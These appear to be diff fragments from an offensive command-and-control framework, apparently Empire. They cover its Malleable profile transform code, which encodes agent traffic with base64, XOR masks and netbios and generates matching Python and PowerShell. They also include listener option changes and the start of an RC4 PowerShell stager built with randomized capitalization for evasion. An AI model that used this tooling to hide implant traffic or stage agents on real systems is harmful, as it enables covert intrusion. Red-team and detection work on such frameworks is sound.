80 | super(Transform, self).__init__() | |
81 | ||
82 | def _defaults(self): | |
83 | """Default initialization for the Transform object.""" | |
84 | super(Transform, self)._defaults() | |
85 | self.apply_transform(self.type, self.arg) | |
86 | ||
87 | def _clone(self): | |
88 | """Deep copy of a Transform object. | |
89 | ||
90 | Returns: | |
91 | Transform object | |
92 | """ | |
93 | new = super(Transform, self)._clone() | |
94 | new.type = self.type | |
95 | new.arg = self.arg | |
96 | new.apply_transform(new.type, new.arg) | |
97 | return new | |
98 | ||
99 | def _serialize(self): | |
100 | """Serialize the Transform object. | |
101 | ||
102 | Returns: | |
103 | dict (str, obj) | |
104 | """ | |
105 | return dict(list(super(Transform, self)._serialize().items()) + list({ | |
106 | "type" : self.type, | |
107 | "arg" : self.arg if self.type != Transform.MASK else MalleableUtil.to_hex(self.arg[0]) | |
108 | }.items())) | |
109 | ||
110 | @classmethod | |
111 | def _deserialize(cls, data): | |
112 | """Deserialize data into a Transform object. | |
113 | ||
114 | Args: | |
115 | dict (str, obj): Serialized data (json) | |
116 | ||
117 | Returns: | |
118 | Transform object | |
119 | """ | |
120 | transform = super(Transform, cls)._deserialize(data) | |
121 | if data: | |
122 | transform.type = data["type"] if "type" in data else Transform.NONE | |
123 | transform.arg = (data["arg"] if transform.type != Transform.MASK else MalleableUtil.from_hex(data["arg"])) if "arg" in data else None | |
124 | transform.apply_transform(transform.type, transform.arg) | |
125 | return transform | |
126 | ||
127 | @classmethod | |
128 | def _pattern(cls): | |
129 | """Define the pattern to recognize a Transform object while parsing a file. | |
130 | ||
131 | Returns: | |
132 | pyparsing object | |
133 | """ | |
134 | return ( | |
135 | Group(Literal("append") + cls.VALUE) | | |
136 | Group(Literal("base64url")) | | |
137 | Group(Literal("base64")) | | |
138 | Group(Literal("mask")) | | |
139 | Group(Literal("netbiosu")) | | |
140 | Group(Literal("netbios")) | | |
141 | Group(Literal("prepend") + cls.VALUE) | |
142 | ) + cls.SEMICOLON | |
143 | ||
144 | def apply_transform(self, type, arg): | |
145 | """Apply the appropriate transformation to the Transform object. | |
146 | ||
147 | Args: | |
148 | type (int): Type of Transform to implement. | |
149 | arg (str): Argument to pass to the implementation. | |
150 | """ | |
151 | if type == Transform.APPEND: self._append(arg) | |
152 | elif type == Transform.BASE64: self._base64() | |
153 | elif type == Transform.BASE64URL: self._base64url() | |
154 | elif type == Transform.MASK: self._mask(arg) | |
155 | elif type == Transform.NETBIOS: self._netbios() | |
156 | elif type == Transform.NETBIOSU: self._netbiosu() | |
157 | elif type == Transform.PREPEND: self._prepend(arg) | |
158 | else: self._none() | |
159 | ||
160 | def _none(self): | |
161 | """Configure the `none` Transform, which does nothing.""" | |
162 | self.transform = lambda data: data, | |
163 | self.transform_r = lambda data: data, | |
164 | self.generate_python = lambda var: "", | |
165 | self.generate_python_r = lambda var: "", | |
166 | self.generate_powershell = lambda var: "", | |
167 | self.generate_powershell_r = lambda var: "" | |
168 | ||
169 | def _append(self, string): | |
170 | """Configure the `append` Transform, which appends a static string to an arbitrary input. | |
171 | ||
172 | Args: | |
173 | string (str): The static string to be appended. | |
174 | ||
175 | Raises: | |
176 | MalleableError: If `string` is null. | |
177 | """ | |
178 | if string is None: | |
179 | MalleableError.throw(Transform.__class__, "append", "string argument must not be null") | |
180 | ||
181 | self.transform = lambda data: append_transform(string, data) | |
182 | self.transform_r = lambda data: append_transform_r(string, data) | |
183 | ||
184 | def append_transform(string, data): | |
185 | if isinstance(string, str): | |
186 | string = string.encode('latin-1') | |
187 | if isinstance(data, str): | |
188 | data = data.encode('latin-1') | |
189 | r = data + string | |
190 | return r | |
191 | ||
192 | def append_transform_r(string, data): | |
193 | if isinstance(string, str): | |
194 | string = string.encode('latin-1') | |
195 | if isinstance(data, str): | |
196 | data = data.encode('latin-1') | |
197 | return data[:-len(string)] | |
198 | ||
199 | self.generate_python = lambda var: "%(var)s+=b'%(string)s'\n" % {"var":var, "string":string} | |
200 | self.generate_python_r = lambda var: "%(var)s=%(var)s[:-%(len)i]\n" % {"var":var, "len":len(string)} | |
201 | self.generate_powershell = lambda var: "%(var)s+='%(string)s';" % {"var":var, "string":string} | |
202 | self.generate_powershell_r = lambda var: "%(var)s=%(var)s.Substring(0,%(var)s.Length-%(len)i);" % {"var":var, "len":len(string)} | |
203 | ||
204 | def _base64(self): | |
205 | """Configure the `base64` Transform, which base64 encodes an arbitrary input.""" | |
206 | self.transform = lambda data: base64.b64encode(data) | |
207 | self.transform_r = lambda data: base64.b64decode(data) | |
208 | self.generate_python = lambda var: "%(var)s=base64.b64encode(%(var)s)\n" % {"var":var} | |
209 | self.generate_python_r = lambda var: "%(var)s=base64.b64decode(%(var)s)\n" % {"var":var} | |
210 | self.generate_powershell = lambda var: "%(var)s=[Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes(%(var)s));" % {"var":var} | |
211 | self.generate_powershell_r = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(%(var)s));" % {"var":var} | |
212 | ||
213 | def _base64url(self): | |
214 | """Configure the `base64url` Transform, which base64 encodes an arbitary input using url-safe characters.""" | |
215 | self.transform = lambda data: base64url_transform(data) | |
216 | self.transform_r = lambda data: base64url_transform_r(data) | |
217 | ||
218 | def base64url_transform(data): | |
219 | if isinstance(data, str): | |
220 | data = data.encode("latin-1") | |
221 | r = six.moves.urllib.parse.quote(base64.b64encode(data)) | |
222 | return r.encode('Latin-1') | |
223 | ||
224 | def base64url_transform_r(data): | |
225 | if isinstance(data, str): | |
226 | data = data.encode("latin-1") | |
227 | # Fix missing padding issue (Error parsing routing packet not fixed) | |
228 | missing_padding = len(data) % 4 | |
229 | if missing_padding: | |
230 | data += b'=' * (4 - missing_padding) | |
231 | r = base64.b64decode(six.moves.urllib.parse.unquote_to_bytes(data)) | |
232 | return r | |
233 | ||
234 | self.generate_python = lambda var: "%(var)s=urllib.quote(base64.b64encode(%(var)s))\n" % {"var":var} | |
235 | self.generate_python_r = lambda var: "%(var)s=base64.b64decode(urllib.unquote(%(var)s))\n" % {"var":var} | |
236 | self.generate_powershell = lambda var: "Add-Type -AssemblyName System.Web;%(var)s=[System.Web.HttpUtility]::UrlEncode([System.Convert]::ToBase64string([System.Text.Encoding]::Default.GetBytes(%(var)s)));" % {"var":var} | |
237 | self.generate_powershell_r = lambda var: "Add-Type -AssemblyName System.Web;%(var)s=[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String([System.Web.HttpUtility]::UrlDecode(%(var)s)));" % {"var":var} | |
238 | ||
239 | def _mask(self, key): | |
240 | """Configure the `mask` Transform, which encodes an arbitrary input using the XOR operation | |
241 | and a random key. | |
242 | ||
243 | Args: | |
244 | key (str): The key with which to encode / decode. | |
245 | ||
246 | Raises: | |
247 | MalleableError: If `key` is null or empty. | |
248 | """ | |
249 | if isinstance(key, str): | |
250 | key = bytearray.fromhex(key).decode() | |
251 | key = key.encode('latin-1') | |
252 | ||
253 | if not key: | |
254 | MalleableError.throw(Transform.__class__, "mask", "key argument must not be empty") | |
255 | self.transform = lambda data: mask_transform(data, key) | |
256 | ||
257 | def mask_transform(data, key): | |
258 | if isinstance(data, str): | |
259 | data = data.encode('latin-1') | |
260 | r = "".join([chr(c ^ key[0]) for c in data]) | |
261 | return r.encode('Latin-1') | |
262 | ||
263 | self.transform_r = self.transform | |
264 | self.generate_python = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(f_ord(_)^%(key)s) for _ in %(var)s])\n" % {"key":ord(key[0]), "var":var} | |
265 | self.generate_python_r = self.generate_python | |
266 | self.generate_powershell = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_++){[System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -bxor %(key)s}));" % {"key":key[0], "var":var} | |
267 | self.generate_powershell_r = self.generate_powershell | |
268 | ||
269 | def _netbios(self): | |
270 | """Configure the `netbios` Transform, which encodes an arbitrary input using the lower-case | |
271 | netbios algorithm.""" | |
272 | self.transform = lambda data: netbios_transform(data) | |
273 | self.transform_r = lambda data: netbios_transform_r(data) | |
274 | ||
275 | def netbios_transform(data): | |
276 | if isinstance(data, str): | |
277 | data = data.encode('latin-1') | |
278 | r = "".join([chr((c>>4)+0x61)+chr((c&0xF)+0x61) for c in data]) | |
279 | return r.encode('latin-1') | |
280 | ||
281 | def netbios_transform_r(data): | |
282 | if isinstance(data, str): | |
283 | data = data.encode('latin-1') | |
284 | r = "".join([chr(((data[i]-0x61)<<4)|((data[i+1]-0x61)&0xF)) for i in range(0, len(data), 2)]) | |
285 | return r.encode('latin-1') | |
286 | ||
287 | self.generate_python = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr((f_ord(_)>>4)+0x61)+chr((f_ord(_)&0xF)+0x61) for _ in %(var)s])\n" % {"var":var} | |
288 | self.generate_python_r = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(((f_ord(%(var)s[_])-0x61)<<4)|((f_ord(%(var)s[_+1])-0x61)&0xF)) for _ in range(0,len(%(var)s),2)])\n" % {"var":var} | |
289 | self.generate_powershell = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_++){([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -shr 4)+97;([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -band 15)+97;}));" % {"var":var} | |
290 | self.generate_powershell_r = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_+=2){(([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_]-97) -shl 4) -bor (([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_+1]-97) -band 15);}));" % {"var":var} | |
291 | ||
292 | def _netbiosu(self): | |
293 | """Configure the `netbiosu` Transform, which encodes an arbitrary input using the upper-case | |
294 | netbios algorithm.""" | |
295 | self.transform = lambda data: netbios_transform(data) | |
296 | self.transform_r = lambda data: netbios_transform_r(data) | |
297 | ||
298 | def netbios_transform(data): | |
299 | if isinstance(data, str): | |
300 | data = data.encode('latin-1') | |
301 | r = "".join([chr((c>>4)+0x41)+chr((c&0xF)+0x41) for c in data]) | |
302 | return r.encode('latin-1') | |
303 | ||
304 | def netbios_transform_r(data): | |
305 | if isinstance(data, str): | |
306 | data = data.encode('latin-1') | |
307 | r = "".join([chr(((data[i]-0x41)<<4)|((data[i+1]-0x41)&0xF)) for i in range(0, len(data), 2)]) | |
308 | return r.encode('latin-1') | |
309 | ||
310 | self.generate_python = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr((f_ord(_)>>4)+0x41)+chr((f_ord(_)&0xF)+0x41) for _ in %(var)s])\n" % {"var":var} | |
311 | self.generate_python_r = lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(((f_ord(%(var)s[_])-0x41)<<4)|((f_ord(%(var)s[_+1])-0x41)&0xF)) for _ in range(0,len(%(var)s),2)])\n" % {"var":var} | |
312 | self.generate_powershell = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_++){([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -shr 4)+65;([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_] -band 15)+65;}));" % {"var":var} | |
313 | self.generate_powershell_r = lambda var: "%(var)s=[System.Text.Encoding]::Default.GetString($(for($_=0;$_ -lt %(var)s.length;$_+=2){(([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_]-65) -shl 4) -bor (([System.Text.Encoding]::Default.GetBytes(%(var)s)[$_+1]-65) -band 15);}));" % {"var":var} | |
314 | ||
315 | def _prepend(self, string): | |
316 | """Configure the `prepend` Transform, which prepends a static string to an arbitrary input. | |
317 | ||
318 | Args: | |
319 | string (str): The static string to be prepended. | |
320 | ||
321 | Raises: | |
322 | MalleableError: If `string` is null. | |
323 | """ | |
324 | if string is None: | |
325 | MalleableError.throw(Transform.__class__, "prepend", "string argument must not be null") | |
326 | ||
327 | self.transform = lambda data: prepend_transform(string, data) | |
328 | self.transform_r = lambda data: prepend_transform_r(string, data) | |
329 | ||
330 | def prepend_transform(string, data): | |
331 | if isinstance(string, str): | |
332 | string = string.encode('latin-1') | |
333 | if isinstance(data, str): | |
334 | data = data.encode('latin-1') | |
335 | r = string + data | |
336 | return r | |
337 | ||
338 | def prepend_transform_r(string, data): | |
339 | if isinstance(string, str): | |
340 | string = string.encode('latin-1') | |
341 | if isinstance(data, str): | |
342 | data = data.encode('latin-1') | |
343 | return data[len(string):] | |
344 | ||
345 | self.generate_python = lambda var: "%(var)s=b'%(string)s'+%(var)s\n" % {"var":var, "string":string} | |
346 | self.generate_python_r = lambda var: "%(var)s=%(var)s[%(len)i:]\n" % {"var":var, "len":len(string)} | |
347 | self.generate_powershell = lambda var: "%(var)s='%(string)s'+%(var)s;" % {"var":var, "string":string} | |
348 | self.generate_powershell_r = lambda var: "%(var)s=%(var)s.substring(%(len)i,%(var)s.Length-%(len)i);" % {"var":var, "len":len(string)} | |
349 | ||
350 | class Terminator(MalleableObject): | |
351 | """A class housing the arbitrary functionality of a reversable data storage mechanism. | |
352 | ||
353 | The Terminator defines where data is stored after completing a Transform sequence and where | |
354 | to retrieve data before starting a reverse Transform sequence. | |
355 | ||
356 | Attributes: | |
357 | type (int): Type of Terminator to implement. | |
358 | arg (str): Argument to pass to the implementation. | |
359 | """ | |
360 | NONE = 0 | |
361 | PRINT = 1 | |
362 | HEADER = 2 | |
363 | PARAMETER = 3 | |
364 | URIAPPEND = 4 | |
365 | ||
366 | def __init__(self, type=1, arg=None): | |
367 | """Constructor for a Terminator object | |
368 | ||
369 | Args: | |
370 | type (int, optional): Type of Terminator to implement. | |
371 | arg (str, optional): Argument to pass to the implementation. | |
372 | """ | |
373 | self.type = type | |
374 | self.arg = arg | |
375 | super(Terminator, self).__init__() | |
376 | ||
377 | def _clone(self): | |
378 | """Deep copy of a Terminator object. | |
379 | ||
380 | Returns: | |
381 | Terminator | |
382 | """ | |
383 | new = super(Terminator, self)._clone() | |
384 | new.type = self.type | |
385 | new.arg = self.arg | |
386 | return new | |
387 | ||
388 | def _serialize(self): | |
389 | """Serialize the Terminator object. | |
390 | ||
391 | Returns: | |
392 | dict (str, obj) | |
393 | """ | |
394 | return dict(list(super(Terminator, self)._serialize().items()) + list({ | |
395 | "type" : self.type, | |
396 | "arg" : self.arg | |
397 | }.items())) | |
398 | ||
399 | @classmethod | |
400 | def _deserialize(cls, data): | |
401 | """Deserialize data into a Terminator object. | |
402 | ||
403 | Args: | |
404 | dict (str, obj): Serialized data (json) | |
405 | ||
406 | Returns: | |
407 | Terminator object | |
408 | """ | |
409 | terminator = super(Terminator, cls)._deserialize(data) | |
410 | if data: | |
411 | terminator.type = data["type"] if "type" in data else Terminator.NONE | |
412 | terminator.arg = data["arg"] if "arg" in data else None | |
413 | return terminator | |
414 | ||
415 | @classmethod | |
416 | def _pattern(cls): | |
417 | """Define the pattern to recognize a Terminator object while parsing a file. | |
418 | ||
419 | Returns: | |
420 | pyparsing object | |
421 | """ | |
422 | return ( | |
423 | Group(Literal("header") + cls.VALUE) | | |
424 | Group(Literal("parameter") + cls.VALUE) | | |
425 | Group(Literal("print")) | | |
426 | Group(Literal("uri-append")) | |
427 | ) + cls.SEMICOLON | |
428 | ||
429 | class Container(MalleableObject): | |
430 | """A class housing a sequence of Transforms. | |
431 | ||
432 | Once initialized, a Container object can be used in the following ways: | |
433 | - Add a Transform to the existing sequence. | |
434 | - Assign a Terminator to the Transform sequence. | |
435 | - Execute the sequence of Transforms. | |
436 | ||
437 | Attributes: | |
438 | transforms (list (Transform)) | |
439 | terminator (Terminator) | |
440 | """ | |
441 | ||
442 | def _defaults(self): | |
443 | """Default initialization for the Container object.""" | |
444 | super(Container, self)._defaults() | |
445 | self.transforms = [] | |
446 | self.terminator = Terminator() | |
447 | ||
448 | def _clone(self): | |
449 | """Deep copy of the Container object. | |
450 | ||
451 | Returns: | |
452 | Container | |
453 | """ | |
454 | new = super(Container, self)._clone() | |
455 | new.transforms = [t._clone() for t in self.transforms] | |
456 | new.terminator = self.terminator._clone() | |
457 | return new | |
458 | ||
459 | def _serialize(self): | |
460 | """Serialize the Container object. | |
461 | ||
462 | Returns: | |
463 | dict (str, obj): Serialized data (json) | |
464 | """ | |
465 | return dict(list(super(Container, self)._serialize().items()) + list({ | |
466 | "transforms" : [t._serialize() for t in self.transforms], | |
467 | "terminator" : self.terminator._serialize() | |
468 | }.items())) | |
469 | ||
470 | @classmethod | |
471 | def _deserialize(cls, data): | |
472 | """Deserialize data into a Container object. | |
473 | ||
474 | Args: | |
475 | dict (str, obj): Serialized data (json) | |
476 | ||
477 | Returns: | |
478 | Container object | |
479 | """ | |
480 | container = super(Container, cls)._deserialize(data) | |
481 | if data: | |
482 | container.transforms = [Transform._deserialize(d) for d in data["transforms"]] if "transforms" in data else [] | |
483 | container.terminator = Terminator._deserialize(data["terminator"]) if "terminator" in data else Terminator() | |
484 | return container | |
485 | ||
486 | @classmethod | |
487 | def _pattern(cls): | |
488 | """Define the pattern to recognize a Container object while parsing a file. | |
489 | ||
490 | Returns: | |
491 | pyparsing object | |
492 | """ | |
493 | return (cls.FIELD + Group(Suppress("{") + ZeroOrMore( | |
494 | cls.COMMENT | | |
495 | Transform._pattern() | | |
496 | Terminator._pattern() | |
497 | ) + Suppress("}"))) | |
498 | ||
499 | def _parse(self, data): | |
500 | """Store the information from a parsed pyparsing result. | |
501 | ||
502 | Args: | |
503 | data: pyparsing data | |
504 | """ | |
505 | if data: | |
506 | for item in [d for d in data if d]: | |
507 | type = item[0] | |
508 | arg = item[1] if len(item) > 1 else None | |
509 | if type: | |
510 | type = type.lower() | |
511 | if type == "append": self.append(arg) | |
512 | elif type == "base64": self.base64() | |
513 | elif type == "base64url": self.base64url() | |
514 | elif type == "mask": self.mask() | |
515 | elif type == "netbios": self.netbios() | |
516 | elif type == "netbiosu": self.netbiosu() | |
517 | elif type == "prepend": self.prepend(arg) | |
518 | ||
519 | elif type == "print": self.print_() | |
520 | elif type == "header": self.header(arg) | |
521 | elif type == "parameter": self.parameter(arg) | |
522 | elif type == "uri-append": self.uriappend() | |
523 | ||
524 | def append(self, string): | |
525 | """Add the `append` Transform to the Container's Transform sequence. | |
526 | ||
527 | Args: | |
528 | string (str): The static string to be appended. | |
529 | """ | |
530 | self.transforms.append(Transform(type=Transform.APPEND, arg=string)) | |
531 | ||
532 | def base64(self): | |
533 | """Add the `base64` Transform to the Container's Transform sequence.""" | |
534 | self.transforms.append(Transform(type=Transform.BASE64)) | |
535 | ||
536 | def base64url(self): | |
537 | """Add the `base64url` Transform to the Container's Transform sequence.""" | |
538 | self.transforms.append(Transform(type=Transform.BASE64URL)) | |
539 | ||
540 | def mask(self, key=None): | |
541 | """Add the `mask` Transform to the Container's Transform sequence. | |
542 | ||
543 | Args: | |
544 | key (str, optional): The key with which to encode / decode. | |
545 | """ | |
546 | if not key: | |
547 | key = os.urandom(1) | |
548 | while (ord(key) < 0 or ord(key) > 127): key = os.urandom(1) # Requirement for powershell | |
549 | self.transforms.append(Transform(type=Transform.MASK, arg=key)) | |
550 | ||
551 | def netbios(self): | |
552 | """Add the `netbios` Transform to the Container's Transform sequence.""" | |
553 | self.transforms.append(Transform(type=Transform.NETBIOS)) | |
554 | ||
555 | def netbiosu(self): | |
556 | """Add the `netbiosu` Transform to the Container's Transform sequence.""" | |
557 | self.transforms.append(Transform(type=Transform.NETBIOSU)) | |
558 | ||
559 | def prepend(self, string): | |
560 | """Add the `prepend` Transform to the Container's Transform sequence. | |
561 | ||
562 | Args: | |
563 | string (str): The static string to be prepended. | |
564 | """ | |
565 | self.transforms.append(Transform(type=Transform.PREPEND, arg=string)) | |
566 | ||
567 | def print_(self): | |
568 | """Specify that the data be stored in the request body after transformation.""" | |
569 | self.terminator = Terminator(type=Terminator.PRINT) | |
570 | ||
571 | def header(self, header): | |
572 | """Use the specified header to store the data after transformation. | |
573 | ||
574 | Args: | |
575 | header (str) | |
576 | ||
577 | Rasie: | |
578 | MalleableError: If `header` is empty. | |
579 | """ | |
580 | if not header: | |
581 | MalleableError.throw(Container, "header", "argument must not be null") | |
582 | self.terminator = Terminator(type=Terminator.HEADER, arg=header) | |
583 | ||
584 | def parameter(self, parameter): | |
585 | """Use the specified parameter to store the data after transformation. | |
586 | ||
587 | Args: | |
588 | parameter (str) | |
589 | ||
590 | Rasie: | |
591 | MalleableError: If `parameter` is empty. | |
592 | """ | |
593 | if not parameter: | |
594 | MalleableError.throw(Container, "parameter", "argument must not be null") | |
595 | self.terminator = Terminator(type=Terminator.PARAMETER, arg=parameter) | |
596 | ||
597 | def uriappend(self): | |
598 | """Specify that the data append to the uri after transformation.""" | |
599 | self.terminator = Terminator(type=Terminator.URIAPPEND) | |
600 | ||
601 | def transform(self, data): | |
602 | """Transform the provided data using the sequence of Transforms. | |
603 | ||
604 | Args: | |
605 | data (str): The data to be transformed. | |
606 | ||
607 | Returns: | |
608 | str: The transformed data. | |
609 | """ | |
610 | if data is None: data = "" | |
611 | if isinstance(data, str): | |
612 | if ("b'" or 'b"') in data[:2]: | |
613 | data = data[2:-1] | |
614 | data = data.encode("latin-1") | |
615 | if (b"b'" or b'b"') in data[:2]: | |
616 | data = data[2:-1] | |
617 | for t in self.transforms: | |
618 | data = t.transform(data) | |
619 | return data | |
620 | ||
621 | def transform_r(self, data): | |
622 | """Transform the provided data using the sequence of Transforms in reverse. | |
623 | ||
624 | Args: | |
625 | data (str): The data to be reverse-transformed. | |
626 | ||
627 | Returns: | |
628 | str: The reverse-transformed data. | |
629 | """ | |
630 | if data is None: data = "" | |
631 | if isinstance(data, str): | |
632 | if ("b'" or 'b"') in data[:2]: | |
633 | data = data[2:-1] | |
634 | data = data.encode("latin-1") | |
635 | if (b"b'" or b'b"') in data[:2]: | |
636 | data = data[2:-1] | |
637 | for t in self.transforms[::-1]: | |
638 | data = t.transform_r(data) | |
639 | return data | |
640 | ||
641 | def generate_python(self, var): | |
642 | """Generate python code that would transform arbitrary data using the sequence | |
643 | of Transforms. | |
644 | ||
645 | Args: | |
646 | var (str): The variable name to be used in the python code. | |
647 | ||
648 | Returns: | |
649 | str: The python code. | |
650 | ||
651 | Raises: | |
652 | MalleableError: If `var` is empty. | |
653 | """ | |
654 | if not var: | |
655 | MalleableError.throw(Container, "generate_python", "var must not be empty") | |
656 | code = "" | |
657 | for t in self.transforms: | |
658 | code += t.generate_python(var) | |
659 | return code | |
660 | ||
661 | def generate_python_r(self, var): | |
662 | """Generate python code that would transform arbitrary data using the sequence | |
663 | of Transforms in reverse. | |
664 | ||
665 | Args: | |
666 | var (str): The variable name to be used in the python code. | |
667 | ||
668 | Returns: | |
669 | str: The python code. | |
670 | ||
671 | Raises: | |
672 | MalleableError: If `var` is empty. | |
673 | """ | |
674 | if not var: | |
675 | MalleableError.throw(Container, "generate_python_r", "var must not be empty") | |
676 | code = "" | |
677 | for t in self.transforms[::-1]: | |
678 | code += t.generate_python_r(var) | |
679 | return code | |
680 | ||
681 | def generate_powershell(self, var): | |
682 | """Generate powershell code that would transform arbitrary data using the sequence | |
683 | of Transforms. | |
684 | ||
685 | Args: | |
686 | var (str): The variable name to be used in the powershell code. | |
687 | ||
688 | Returns: | |
689 | str: The powershell code. | |
690 | ||
691 | Raises: | |
692 | MalleableError: If `var` is empty. | |
693 | """ | |
694 | if not var: | |
695 | MalleableError.throw(Container, "generate_powershell", "var must not be empty") | |
696 | code = "" | |
697 | for t in self.transforms: | |
698 | code += t.generate_powershell(var) | |
699 | return code | |
700 | ||
701 | def generate_powershell_r(self, var): | |
702 | """Generate powershell code that would transform arbitrary data using the sequence | |
703 | of Transforms in reverse. | |
704 | ||
705 | Args: | |
706 | var (str): The variable name to be used in the powershell code. | |
707 | ||
708 | Returns: | |
709 | str: The powershell code. | |
710 | ||
711 | Raises: | |
712 | MalleableError: If `var` is empty. | |
713 | """ | |
714 | if not var: | |
715 | MalleableError.throw(Container, "generate_powershell_r", "var must not be empty") | |
716 | code = "" | |
717 | for t in self.transforms[::-1]: | |
718 | code += t.generate_powershell_r(var) | |
719 | return code |
0 | from __future__ import absolute_import | |
1 | from pyparsing import * | |
2 | import binascii | |
3 | ||
4 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
5 | # UTILITY | |
6 | # | |
7 | # Defining helper functionality to optimize code quality. | |
8 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
9 | ||
10 | class MalleableError(Exception): | |
11 | """Custom exception class used to identify local exceptions.""" | |
12 | ||
13 | @classmethod | |
14 | def throw(cls, clss, func, message): | |
15 | """Throw a MalleableError. | |
16 | ||
17 | Args: | |
18 | clss (class): The class containing the exception. | |
19 | func (str): The function in which the exception occurred. | |
20 | message (str): A description of the exception. | |
21 | ||
22 | Raises: | |
23 | MalleableError: When called. | |
24 | """ | |
25 | raise (cls("%s::%s - %s" % (clss.__name__, func, message))) | |
26 | ||
27 | ||
28 | class MalleableUtil(object): | |
29 | """Custom utility class used to provide helper functionality.""" | |
30 | ||
31 | @staticmethod | |
32 | def to_hex(byte): | |
33 | """Convert a byte into a hex character. | |
34 | ||
35 | Args: | |
36 | byte (char) | |
37 | ||
38 | Returns: | |
39 | str: Byte as a hex character. | |
40 | """ | |
41 | if isinstance(byte, str): | |
42 | byte = int(byte) | |
43 | return_hex = bytes([byte]).hex() | |
44 | return return_hex if byte else None | |
45 | ||
46 | @staticmethod | |
47 | def from_hex(hex): | |
48 | """Convert a hex character into a byte. | |
49 | ||
50 | Args: | |
51 | hex (str): A single hex character. | |
52 | ||
53 | Returns: | |
54 | char: byte. | |
55 | """ | |
56 | if isinstance(hex, bytes): | |
57 | hex = hex.decode('latin-1') | |
58 | if hex: | |
59 | r = bytes.fromhex(hex) | |
60 | else: | |
61 | r = None | |
62 | return r | |
63 | ||
64 | class MalleableObject(object): | |
65 | """Custom object class used to implement consistent functionality.""" | |
66 | ||
67 | SEMICOLON = Suppress(";") | |
68 | FIELD = Word(alphanums + "_-") | |
69 | VALUE = (QuotedString("\"", escChar="\\") | QuotedString("'", escChar="\\")) | |
70 | COMMENT = Suppress("#") + Suppress(restOfLine) | |
71 | ||
72 | def __init__(self): | |
73 | """Constructor for a Malleable object.""" | |
74 | self._defaults() | |
75 | ||
76 | def _defaults(self): | |
77 | """Default initialization for a Malleable object.""" | |
78 | pass | |
79 | ||
80 | def _clone(self): | |
81 | """Deep copy of a Malleable object. | |
82 | ||
83 | Returns: | |
84 | MalleableObject | |
85 | """ | |
86 | return self.__class__() | |
87 | ||
88 | def _serialize(self): | |
89 | """Serialize a Malleable object (json). | |
90 | ||
91 | Returns: | |
92 | dict (str, obj): Serialized data (json) | |
93 | """ | |
94 | return {} | |
95 | ||
96 | @classmethod | |
97 | def _deserialize(cls, data): | |
98 | """Deserialize data (json) into a Malleable object. | |
99 | ||
100 | Args: | |
101 | data (dict (str, obj)): Serialized data (json) | |
102 | ||
103 | Returns: | |
104 | Malleable object | |
105 | """ | |
106 | return cls() | |
107 | ||
108 | @classmethod | |
109 | def _pattern(cls): | |
110 | """Define the pattern to recognize this object while parsing a file. | |
111 | ||
112 | Returns: | |
113 | pyparsing object | |
114 | """ | |
115 | return None | |
116 | ||
117 | def _parse(self, data): | |
118 | """Store the information from a parsed pyparsing result. | |
119 | ||
120 | Args: | |
121 | data: pyparsing data | |
122 | """ | |
123 | pass |
274 | 274 | |
275 | 275 | if len(data) - offset < 20: |
276 | 276 | break |
277 | ||
277 | ||
278 | 278 | RC4IV = data[0 + offset:4 + offset] |
279 | 279 | RC4data = data[4 + offset:20 + offset] |
280 | ||
280 | 281 | routingPacket = encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), RC4data) |
281 | 282 | try: |
282 | 283 | sessionID = routingPacket[0:8].decode('UTF-8') |
116 | 116 | 'Required' : False, |
117 | 117 | 'Value' : '' |
118 | 118 | }, |
119 | 'SlackToken' : { | |
120 | 'Description' : 'Your SlackBot API token to communicate with your Slack instance.', | |
119 | 'SlackURL' : { | |
120 | 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
121 | 121 | 'Required' : False, |
122 | 122 | 'Value' : '' |
123 | }, | |
124 | 'SlackChannel' : { | |
125 | 'Description' : 'The Slack channel or DM that notifications will be sent to.', | |
126 | 'Required' : False, | |
127 | 'Value' : '#general' | |
128 | 123 | } |
129 | 124 | } |
130 | 125 |
142 | 142 | 'Required': False, |
143 | 143 | 'Value': 'default' |
144 | 144 | }, |
145 | 'SlackToken': { | |
146 | 'Description': 'Your SlackBot API token to communicate with your Slack instance.', | |
145 | 'SlackURL': { | |
146 | 'Description': 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
147 | 147 | 'Required': False, |
148 | 148 | 'Value': '' |
149 | }, | |
150 | 'SlackChannel': { | |
151 | 'Description': 'The Slack channel or DM that notifications will be sent to.', | |
152 | 'Required': False, | |
153 | 'Value': '#general' | |
154 | 149 | } |
155 | 150 | } |
156 | 151 | |
289 | 284 | ' }', |
290 | 285 | '', |
291 | 286 | 'a img {', |
292 | ' border:none;', | |
287 | ' border:none;', | |
293 | 288 | '}', |
294 | 289 | '', |
295 | 290 | '-->', |
432 | 427 | stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") |
433 | 428 | stager += "'%s');" % (stagingKey) |
434 | 429 | # this is the minimized RC4 stager code from rc4.ps1 |
435 | stager += helpers.randomize_capitalization( | |
